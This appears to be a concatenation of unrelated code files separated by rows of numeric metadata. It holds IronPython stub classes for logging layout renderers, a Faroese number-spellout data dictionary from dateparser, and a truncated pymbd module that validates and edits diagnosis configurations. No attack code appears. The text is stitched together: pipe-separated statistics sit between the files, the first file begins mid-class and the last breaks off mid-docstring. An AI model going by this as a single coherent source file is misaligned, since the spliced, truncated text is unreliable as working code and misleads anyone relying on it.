def __exit__(self,*args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __str__(self,*args):
pass
LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None)
class BwClientNameLayoutRenderer(LayoutRenderer):
""" BwClientNameLayoutRenderer() """
def ZZZ(self):
"""hardcoded/mock instance of the class"""
return BwClientNameLayoutRenderer()
instance=ZZZ()
"""hardcoded/returns an instance of the class"""
def Append(self,*args):
""" Append(self: BwClientNameLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """
pass
def CloseLayoutRenderer(self,*args):
""" CloseLayoutRenderer(self: LayoutRenderer) """
pass
def Dispose(self):
""" Dispose(self: LayoutRenderer,disposing: bool) """
pass
def GetCulture(self,*args):
""" GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """
pass
def GetFormatProvider(self,*args):
""" GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """
pass
def InitializeLayoutRenderer(self,*args):
""" InitializeLayoutRenderer(self: LayoutRenderer) """
pass
def __enter__(self,*args):
""" __enter__(self: IDisposable) -> object """
pass
def __exit__(self,*args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __str__(self,*args):
pass
LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None)
class BwDeviceMacAddressLayoutRenderer(LayoutRenderer):
""" BwDeviceMacAddressLayoutRenderer() """
def ZZZ(self):
"""hardcoded/mock instance of the class"""
return BwDeviceMacAddressLayoutRenderer()
instance=ZZZ()
"""hardcoded/returns an instance of the class"""
def Append(self,*args):
""" Append(self: BwDeviceMacAddressLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """
pass
def CloseLayoutRenderer(self,*args):
""" CloseLayoutRenderer(self: LayoutRenderer) """
pass
def Dispose(self):
""" Dispose(self: LayoutRenderer,disposing: bool) """
pass
def GetCulture(self,*args):
""" GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """
pass
def GetFormatProvider(self,*args):
""" GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """
pass
def InitializeLayoutRenderer(self,*args):
""" InitializeLayoutRenderer(self: LayoutRenderer) """
pass
def __enter__(self,*args):
""" __enter__(self: IDisposable) -> object """
pass
def __exit__(self,*args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __str__(self,*args):
pass
LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None)
class BwDeviceTypeLayoutRenderer(LayoutRenderer):
""" BwDeviceTypeLayoutRenderer() """
def ZZZ(self):
"""hardcoded/mock instance of the class"""
return BwDeviceTypeLayoutRenderer()
instance=ZZZ()
"""hardcoded/returns an instance of the class"""
def Append(self,*args):
""" Append(self: BwDeviceTypeLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """
pass
def CloseLayoutRenderer(self,*args):
""" CloseLayoutRenderer(self: LayoutRenderer) """
pass
def Dispose(self):
""" Dispose(self: LayoutRenderer,disposing: bool) """
pass
def GetCulture(self,*args):
""" GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """
pass
def GetFormatProvider(self,*args):
""" GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """
pass
def InitializeLayoutRenderer(self,*args):
""" InitializeLayoutRenderer(self: LayoutRenderer) """
pass
def __enter__(self,*args):
""" __enter__(self: IDisposable) -> object """
pass
def __exit__(self,*args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __str__(self,*args):
pass
LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None)
class BwUserLayoutRenderer(LayoutRenderer):
""" BwUserLayoutRenderer() """
def ZZZ(self):
"""hardcoded/mock instance of the class"""
return BwUserLayoutRenderer()
instance=ZZZ()
"""hardcoded/returns an instance of the class"""
def Append(self,*args):
""" Append(self: BwUserLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """
pass
def CloseLayoutRenderer(self,*args):
""" CloseLayoutRenderer(self: LayoutRenderer) """
pass
def Dispose(self):
""" Dispose(self: LayoutRenderer,disposing: bool) """
pass
def GetCulture(self,*args):
""" GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """
pass
def GetFormatProvider(self,*args):
""" GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """
pass
def InitializeLayoutRenderer(self,*args):
""" InitializeLayoutRenderer(self: LayoutRenderer) """
pass
def __enter__(self,*args):
""" __enter__(self: IDisposable) -> object """
pass
def __exit__(self,*args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __str__(self,*args):
pass
LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None)
class BwZoneNameLayoutRenderer(LayoutRenderer):
""" BwZoneNameLayoutRenderer() """
def ZZZ(self):
"""hardcoded/mock instance of the class"""
return BwZoneNameLayoutRenderer()
instance=ZZZ()
"""hardcoded/returns an instance of the class"""
def Append(self,*args):
""" Append(self: BwZoneNameLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """
pass
def CloseLayoutRenderer(self,*args):
""" CloseLayoutRenderer(self: LayoutRenderer) """
pass
def Dispose(self):
""" Dispose(self: LayoutRenderer,disposing: bool) """
pass
def GetCulture(self,*args):
""" GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """
pass
def GetFormatProvider(self,*args):
""" GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """
pass
def InitializeLayoutRenderer(self,*args):
""" InitializeLayoutRenderer(self: LayoutRenderer) """
pass
def __enter__(self,*args):
""" __enter__(self: IDisposable) -> object """
pass
def __exit__(self,*args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __str__(self,*args):
pass
LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None)
class CustomTraceActivityIdLayoutRenderer(LayoutRenderer):
""" CustomTraceActivityIdLayoutRenderer() """
def ZZZ(self):
"""hardcoded/mock instance of the class"""
return CustomTraceActivityIdLayoutRenderer()
instance=ZZZ()
"""hardcoded/returns an instance of the class"""
def Append(self,*args):
""" Append(self: CustomTraceActivityIdLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """
pass
def CloseLayoutRenderer(self,*args):
""" CloseLayoutRenderer(self: LayoutRenderer) """
pass
def Dispose(self):
""" Dispose(self: LayoutRenderer,disposing: bool) """
pass
def GetCulture(self,*args):
""" GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """
pass
def GetFormatProvider(self,*args):
""" GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """
pass
def InitializeLayoutRenderer(self,*args):
""" InitializeLayoutRenderer(self: LayoutRenderer) """
pass
def __enter__(self,*args):
""" __enter__(self: IDisposable) -> object """
pass
def __exit__(self,*args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __str__(self,*args):
pass
LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None)
class IsProfilerTraceEventLayoutRenderer(LayoutRenderer):
""" IsProfilerTraceEventLayoutRenderer() """
def ZZZ(self):
"""hardcoded/mock instance of the class"""
return IsProfilerTraceEventLayoutRenderer()
instance=ZZZ()
"""hardcoded/returns an instance of the class"""
def Append(self,*args):
""" Append(self: IsProfilerTraceEventLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """
pass
def CloseLayoutRenderer(self,*args):
""" CloseLayoutRenderer(self: LayoutRenderer) """
pass
def Dispose(self):
""" Dispose(self: LayoutRenderer,disposing: bool) """
pass
def GetCulture(self,*args):
""" GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """
pass
def GetFormatProvider(self,*args):
""" GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """
pass
def InitializeLayoutRenderer(self,*args):
""" InitializeLayoutRenderer(self: LayoutRenderer) """
pass
def __enter__(self,*args):
""" __enter__(self: IDisposable) -> object """
pass
def __exit__(self,*args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __str__(self,*args):
pass
LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None)
IsProfileTracerEventKey='IsProfilerTracerEvent'
class LicenseNameLayoutRenderer(LayoutRenderer):
""" LicenseNameLayoutRenderer() """
def ZZZ(self):
"""hardcoded/mock instance of the class"""
return LicenseNameLayoutRenderer()
instance=ZZZ()
"""hardcoded/returns an instance of the class"""
def Append(self,*args):
""" Append(self: LicenseNameLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """
pass
def CloseLayoutRenderer(self,*args):
""" CloseLayoutRenderer(self: LayoutRenderer) """
pass
def Dispose(self):
""" Dispose(self: LayoutRenderer,disposing: bool) """
pass
def GetCulture(self,*args):
""" GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """
pass
def GetFormatProvider(self,*args):
""" GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """
pass
def InitializeLayoutRenderer(self,*args):
""" InitializeLayoutRenderer(self: LayoutRenderer) """
pass
def __enter__(self,*args):
""" __enter__(self: IDisposable) -> object """
pass
def __exit__(self,*args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __str__(self,*args):
pass
LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None)
class TraceTypeLayoutRenderer(LayoutRenderer):
""" TraceTypeLayoutRenderer() """
def ZZZ(self):
"""hardcoded/mock instance of the class"""
return TraceTypeLayoutRenderer()
instance=ZZZ()
"""hardcoded/returns an instance of the class"""
def Append(self,*args):
""" Append(self: TraceTypeLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """
pass
def CloseLayoutRenderer(self,*args):
""" CloseLayoutRenderer(self: LayoutRenderer) """
pass
def Dispose(self):
""" Dispose(self: LayoutRenderer,disposing: bool) """
pass
def GetCulture(self,*args):
""" GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """
pass
def GetFormatProvider(self,*args):
""" GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """
pass
def InitializeLayoutRenderer(self,*args):
""" InitializeLayoutRenderer(self: LayoutRenderer) """
pass
def __enter__(self,*args):
""" __enter__(self: IDisposable) -> object """
pass
def __exit__(self,*args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __str__(self,*args):
pass
LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None)
class VersionLayoutRenderer(LayoutRenderer):
""" VersionLayoutRenderer() """
def ZZZ(self):
"""hardcoded/mock instance of the class"""
return VersionLayoutRenderer()
instance=ZZZ()
"""hardcoded/returns an instance of the class"""
def Append(self,*args):
""" Append(self: VersionLayoutRenderer,builder: StringBuilder,logEvent: LogEventInfo) """
pass
def CloseLayoutRenderer(self,*args):
""" CloseLayoutRenderer(self: LayoutRenderer) """
pass
def Dispose(self):
""" Dispose(self: LayoutRenderer,disposing: bool) """
pass
def GetCulture(self,*args):
""" GetCulture(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: CultureInfo) -> CultureInfo """
pass
def GetFormatProvider(self,*args):
""" GetFormatProvider(self: LayoutRenderer,logEvent: LogEventInfo,layoutCulture: IFormatProvider) -> IFormatProvider """
pass
def InitializeLayoutRenderer(self,*args):
""" InitializeLayoutRenderer(self: LayoutRenderer) """
pass
def __enter__(self,*args):
""" __enter__(self: IDisposable) -> object """
pass
def __exit__(self,*args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
def __str__(self,*args):
pass
LoggingConfiguration=property(lambda self: object(),lambda self,v: None,lambda self: None)
# variables with complex values
| 38.675978
| 214
| 0.739516
| 2,167
| 20,769
| 6.707891
| 0.046608
| 0.064392
| 0.042928
| 0.050977
| 0.869496
| 0.869496
| 0.869496
| 0.869496
| 0.869496
| 0.869496
| 0
| 0.000547
| 0.119264
| 20,769
| 536
| 215
| 38.748134
| 0.794118
| 0.535269
| 0
| 0.911585
| 0
| 0
| 0.002569
| 0.002569
| 0
| 0
| 0
| 0
| 0
| 1
| 0.435976
| false
| 0.396341
| 0.006098
| 0
| 0.603659
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 10
|
f65c8fde4a23a441789bee795922fc9c1bd0c879
| 4,518
|
py
|
Python
|
dateparser/data/numeral_translation_data/fo.py
|
bazingarj/dateparser
|
48c4563fb7f6ce685fbd6d27e9e83257521d2203
|
[
"BSD-3-Clause"
] | 8
|
2019-11-15T21:00:15.000Z
|
2021-12-21T22:09:42.000Z
|
dateparser/data/numeral_translation_data/fo.py
|
bazingarj/dateparser
|
48c4563fb7f6ce685fbd6d27e9e83257521d2203
|
[
"BSD-3-Clause"
] | 9
|
2020-06-05T21:28:57.000Z
|
2022-02-12T12:30:39.000Z
|
dateparser/data/numeral_translation_data/fo.py
|
bazingarj/dateparser
|
48c4563fb7f6ce685fbd6d27e9e83257521d2203
|
[
"BSD-3-Clause"
] | 21
|
2019-03-11T04:25:23.000Z
|
2022-02-03T08:54:33.000Z
|
# -*- coding: utf-8 -*-
info = {
"%spellout-cardinal-feminine": {
"0": "null;",
"1": "ein;",
"2": "tvรฆr;",
"3": "trรญggjar;",
"4": "fรฝre;",
"(5, 19)": "=%spellout-cardinal-masculine=;",
"(20, 29)": "tjรบgo[ยญ>>];",
"(30, 39)": "trรญati[ยญ>>];",
"(40, 49)": "fรฝrati[ยญ>>];",
"(50, 59)": "fimmti[ยญ>>];",
"(60, 69)": "seksti[ยญ>>];",
"(70, 79)": "sjeyti[ยญ>>];",
"(80, 89)": "รกttati[ยญ>>];",
"(90, 99)": "nรญti[ยญ>>];",
"(100, 999)": "<%spellout-cardinal-neuter<ยญhundraรฐ[ยญogยญ>>];",
"(1000, 999999)": "<%spellout-cardinal-neuter< tusin[ og >>];",
"(1000000, 1999999)": "ein milliรณn[ og >>];",
"(2000000, 999999999)": "<%spellout-cardinal-feminine< milliรณner[ og >>];",
"(1000000000, 1999999999)": "ein milliard[ og >>];",
"(2000000000, 999999999999)": "<%spellout-cardinal-feminine< milliarder[ og >>];",
"(1000000000000, 1999999999999)": "ein billiรณn[ og >>];",
"(2000000000000, 999999999999999)": "<%spellout-cardinal-feminine< billiรณner[ og >>];",
"(1000000000000000, 1999999999999999)": "ein billiard[ og >>];",
"(2000000000000000, 999999999999999999)": "<%spellout-cardinal-feminine< billiarder[ og >>];",
"(1000000000000000000, 'inf')": "=#,##0=;"
},
"%spellout-cardinal-masculine": {
"0": "null;",
"1": "ein;",
"2": "tveir;",
"3": "trรญggir;",
"4": "fรฝre;",
"5": "fimm;",
"6": "seks;",
"7": "sjey;",
"8": "รกtta;",
"9": "nรญggju;",
"10": "tรญggju;",
"11": "ellivu;",
"12": "tรณlv;",
"13": "trettan;",
"14": "fjรบrtan;",
"15": "fรญmtan;",
"16": "sekstan;",
"17": "seytan;",
"18": "รกtjan;",
"19": "nรญtjan;",
"(20, 29)": "tjรบgo[ยญ>>];",
"(30, 39)": "trรญati[ยญ>>];",
"(40, 49)": "fรฝrati[ยญ>>];",
"(50, 59)": "fimmti[ยญ>>];",
"(60, 69)": "seksti[ยญ>>];",
"(70, 79)": "sjeyti[ยญ>>];",
"(80, 89)": "รกttati[ยญ>>];",
"(90, 99)": "nรญti[ยญ>>];",
"(100, 999)": "<%spellout-cardinal-neuter<ยญhundraรฐ[ยญogยญ>>];",
"(1000, 999999)": "<%spellout-cardinal-neuter< tusin[ og >>];",
"(1000000, 1999999)": "ein milliรณn[ og >>];",
"(2000000, 999999999)": "<%spellout-cardinal-feminine< milliรณner[ og >>];",
"(1000000000, 1999999999)": "ein milliard[ og >>];",
"(2000000000, 999999999999)": "<%spellout-cardinal-feminine< milliarder[ og >>];",
"(1000000000000, 1999999999999)": "ein billiรณn[ og >>];",
"(2000000000000, 999999999999999)": "<%spellout-cardinal-feminine< billiรณner[ og >>];",
"(1000000000000000, 1999999999999999)": "ein billiard[ og >>];",
"(2000000000000000, 999999999999999999)": "<%spellout-cardinal-feminine< billiarder[ og >>];",
"(1000000000000000000, 'inf')": "=#,##0=;"
},
"%spellout-cardinal-neuter": {
"0": "null;",
"1": "eitt;",
"2": "tvey;",
"3": "trรฝ;",
"4": "fรฝre;",
"(5, 19)": "=%spellout-cardinal-masculine=;",
"(20, 29)": "tjรบgo[ยญ>>];",
"(30, 39)": "trรญati[ยญ>>];",
"(40, 49)": "fรฝrati[ยญ>>];",
"(50, 59)": "fimmti[ยญ>>];",
"(60, 69)": "seksti[ยญ>>];",
"(70, 79)": "sjeyti[ยญ>>];",
"(80, 89)": "รกttati[ยญ>>];",
"(90, 99)": "nรญti[ยญ>>];",
"(100, 999)": "<%spellout-cardinal-neuter<ยญhundraรฐ[ยญogยญ>>];",
"(1000, 999999)": "<%spellout-cardinal-neuter< tusin[ og >>];",
"(1000000, 1999999)": "ein milliรณn[ og >>];",
"(2000000, 999999999)": "<%spellout-cardinal-feminine< milliรณner[ og >>];",
"(1000000000, 1999999999)": "ein milliard[ og >>];",
"(2000000000, 999999999999)": "<%spellout-cardinal-feminine< milliarder[ og >>];",
"(1000000000000, 1999999999999)": "ein billiรณn[ og >>];",
"(2000000000000, 999999999999999)": "<%spellout-cardinal-feminine< billiรณner[ og >>];",
"(1000000000000000, 1999999999999999)": "ein billiard[ og >>];",
"(2000000000000000, 999999999999999999)": "<%spellout-cardinal-feminine< billiarder[ og >>];",
"(1000000000000000000, 'inf')": "=#,##0=;"
},
"%spellout-numbering": {
"(0, 'inf')": "=%spellout-cardinal-masculine=;"
},
"%spellout-numbering-year": {
"(0, 9999)": "=%spellout-numbering=;",
"(10000, 'inf')": "=%spellout-numbering=;"
}
}
| 43.028571
| 102
| 0.469677
| 401
| 4,518
| 5.374065
| 0.286783
| 0.17819
| 0.14478
| 0.013921
| 0.853364
| 0.844084
| 0.844084
| 0.844084
| 0.844084
| 0.844084
| 0
| 0.247052
| 0.249225
| 4,518
| 105
| 103
| 43.028571
| 0.378538
| 0.004648
| 0
| 0.644231
| 0
| 0
| 0.652358
| 0.192393
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
9c8f159a529adf3ed28d67550eca2e2839504ec3
| 82,223
|
py
|
Python
|
tug_diagnosis/tug_diagnosis/scripts/pymbd/benchmark/tug_description_parser/model.py
|
annajohny/sdp
|
2f66e226fc335ae357001d07fbc74d30ab469509
|
[
"BSD-3-Clause"
] | null | null | null |
tug_diagnosis/tug_diagnosis/scripts/pymbd/benchmark/tug_description_parser/model.py
|
annajohny/sdp
|
2f66e226fc335ae357001d07fbc74d30ab469509
|
[
"BSD-3-Clause"
] | null | null | null |
tug_diagnosis/tug_diagnosis/scripts/pymbd/benchmark/tug_description_parser/model.py
|
annajohny/sdp
|
2f66e226fc335ae357001d07fbc74d30ab469509
|
[
"BSD-3-Clause"
] | null | null | null |
from ab_constraint import AbConstraint
from observer import generate_model_parameter
from observers.base_observer import ab_pred
from sentences import PushSentence
from pymbd.sat.description import Description
from pymbd.sat.problem import Problem
from pymbd.sat.variable import Variable
from config_validator import DiagnosisConfigValidator
from tug_diagnosis_msgs.msg import configuration, node_configuration, observer_configuration
from tug_diagnosis_msgs.srv import DiagnosisConfigurationResponse
import unittest
class ConfigurationValidation(object):
def __init__(self, **options):
pass
@staticmethod
def compare_list_content_and_len(list1, list2):
if not set(list1) == set(list2):
return False
if not len(list1) == len(list2):
return False
return True
@staticmethod
def compare_configs(config_1, config_2):
# test if both configs exist
if not config_1 or not config_2:
return False
# test if both configs have the same nodes
name_list1, name_list2 = [_.name for _ in config_1.nodes], [_.name for _ in config_2.nodes]
if not ConfigurationValidation.compare_list_content_and_len(name_list1, name_list2):
return False
# compare nodes
for node1 in config_1.nodes:
# get corresponding node
index_if_exists = name_list2.index(node1.name)
node2 = config_2.nodes[index_if_exists]
# compare node content
if not ConfigurationValidation.compare_list_content_and_len(node1.sub_topic, node2.sub_topic):
return False
if not ConfigurationValidation.compare_list_content_and_len(node1.pub_topic, node2.pub_topic):
return False
# test if both configs have the same observers
type_list1, type_list2 = [_.type for _ in config_1.observers], [_.type for _ in config_2.observers]
if not ConfigurationValidation.compare_list_content_and_len(type_list1, type_list2):
return False
# compare observers
for observer1 in config_1.observers:
match_found = False
for observer2 in config_2.observers:
# compare observer content
if not ConfigurationValidation.compare_list_content_and_len(observer1.resource, observer2.resource):
continue
match_found = True
break
if not match_found:
return False
return True
class ModelGenerator(object):
def __init__(self, **options):
self.config = None
def test_config(self):
DiagnosisConfigValidator.minimize_config(self.config)
# check = DiagnosisConfigValidator(config=self.config, debug=DiagnosisConfigValidator.DEBUG_LEVEL_VERBOSE)
check = DiagnosisConfigValidator(config=self.config, debug=DiagnosisConfigValidator.DEBUG_LEVEL_DISABLED)
result = check.run_tests()
return result
def set_config(self, set_config):
config_backup = self.copy(self.config)
self.config = self.copy(set_config)
if not self.test_config():
self.config = config_backup
return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.CONFIG_INVALID,
error_msg='New configuration is not valid!')
return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.NO_ERROR, error_msg='')
def add_config(self, config_add):
"""
Add new nodes and/or observers to model config. If node.name exists, only the pub- and/or sub-topics are added.
If observer.type exists, only the resource is added.
:param config_add:
:return:
"""
if not self.config:
return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.CONFIG_INVALID,
error_msg='Config need to be set first!')
if not config_add:
raise ValueError('No config given for adding')
config_add = self.copy(config_add)
config_backup = self.copy(self.config)
# add to nodes
for node in config_add.nodes:
name_list = [_.name for _ in self.config.nodes]
if node.name in name_list:
index_if_exists = name_list.index(node.name)
known_node = self.config.nodes[index_if_exists]
known_node.sub_topic = list(set(known_node.sub_topic + node.sub_topic))
known_node.pub_topic = list(set(known_node.pub_topic + node.pub_topic))
else:
self.config.nodes.append(node)
# add to observers
for observer in config_add.observers:
match_found = False
for known_observer in self.config.observers:
# compare observer content
if not observer.type == known_observer.type:
continue
if not ConfigurationValidation.compare_list_content_and_len(observer.resource, known_observer.resource):
continue
match_found = True
if match_found:
continue
self.config.observers.append(observer)
if not self.test_config():
self.config = config_backup
return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.CONFIG_INVALID,
error_msg='New configuration is not valid!')
return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.NO_ERROR, error_msg='')
def remove_config(self, config_remove):
"""
This removes the configuration for given nodes and/or observers.
If only nodes.name is given, without pub- or sub-topics, the whole node will be removed.
If also pub- and/or sub-topics are given, only these topics will be removed. Remaining
pub- and sub-topics of the node are not removed. The node will also be removed, if it
has no remaining pub- and sub-topics.
If only observers.type is given, without resource, all observer of this type will be removed.
If also resource is given, only these observer will be removed. Other observers of same
type but with other resource are not removed.
The observer will also be removed, if it has no remaining resources.
:param config_remove: config about nodes and observers that should be removed from the model config
"""
if not self.config:
return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.CONFIG_INVALID,
error_msg='Config need to be set first!')
if not config_remove:
raise ValueError('No config given for removing')
config_remove = self.copy(config_remove)
config_backup = self.copy(self.config)
for node in config_remove.nodes:
# remove of nodes
name_list = [_.name for _ in self.config.nodes]
if node.name in name_list:
index_if_exists = name_list.index(node.name)
known_node = self.config.nodes[index_if_exists]
for topic in node.sub_topic:
if topic in known_node.sub_topic:
known_node.sub_topic.remove(topic)
for topic in node.pub_topic:
if topic in known_node.pub_topic:
known_node.pub_topic.remove(topic)
if not len(node.sub_topic) and not len(node.pub_topic):
del self.config.nodes[index_if_exists]
elif not len(known_node.sub_topic) and not len(known_node.pub_topic):
del self.config.nodes[index_if_exists]
# remove of observers
for observer in config_remove.observers:
# find in known observers
for index, known_observer in enumerate(self.config.observers):
# continue if name does not fit
if not observer.type == known_observer.type:
continue
# delete and continue if no resource is given
if not len(observer.resource):
self.config.observers[index] = None
continue
# continue if resource content does not fit
if not ConfigurationValidation.compare_list_content_and_len(observer.resource, known_observer.resource):
continue
# delete observer because you came so far
self.config.observers[index] = None
break
# deleting from list while iterating is a bad idea, so list is reduced here
self.config.observers = [x for x in self.config.observers if x]
if not self.test_config():
self.config = config_backup
return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.CONFIG_INVALID,
error_msg='New configuration is not valid!')
return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.NO_ERROR, error_msg='')
def update_config(self, config_update):
"""
This is similar to set, but only for given nodes and/or observers. All observers of given type are
removed and new observers are added.
:param config_update: new config for given nodes and/or observers
"""
if not self.config:
return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.CONFIG_INVALID,
error_msg='Config need to be set first!')
if not config_update:
raise ValueError('No config given for updating')
config_update = self.copy(config_update)
config_backup = self.copy(self.config)
for node in config_update.nodes:
# update of nodes
name_list = [_.name for _ in self.config.nodes]
if node.name in name_list:
index_if_exists = name_list.index(node.name)
del self.config.nodes[index_if_exists]
self.config.nodes.append(node)
# remove of observers
for observer in config_update.observers:
# find in known observers
for index, known_observer in enumerate(self.config.observers):
# continue if name does not fit
if not observer.type == known_observer.type:
continue
self.config.observers[index] = None
# deleting from list while iterating is a bad idea, so list is reduced here
self.config.observers = [x for x in self.config.observers if x]
for observer in config_update.observers:
self.config.observers.append(observer)
if not self.test_config():
self.config = config_backup
return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.CONFIG_INVALID,
error_msg='New configuration is not valid!')
return DiagnosisConfigurationResponse(errorcode=DiagnosisConfigurationResponse.NO_ERROR, error_msg='')
@staticmethod
def copy(config):
"""
Make a deep copy of configuration
:return: deep copy of configuration
"""
if not config:
return None
config_copy = configuration()
for node in config.nodes:
config_copy.nodes.append(
node_configuration(name=str(node.name), pub_topic=list(node.pub_topic), sub_topic=list(node.sub_topic)))
for observer in config.observers:
config_copy.observers.append(
observer_configuration(type=str(observer.type), resource=list(observer.resource)))
return config_copy
def get_config_copy(self):
"""
Get a deep copy of configuration
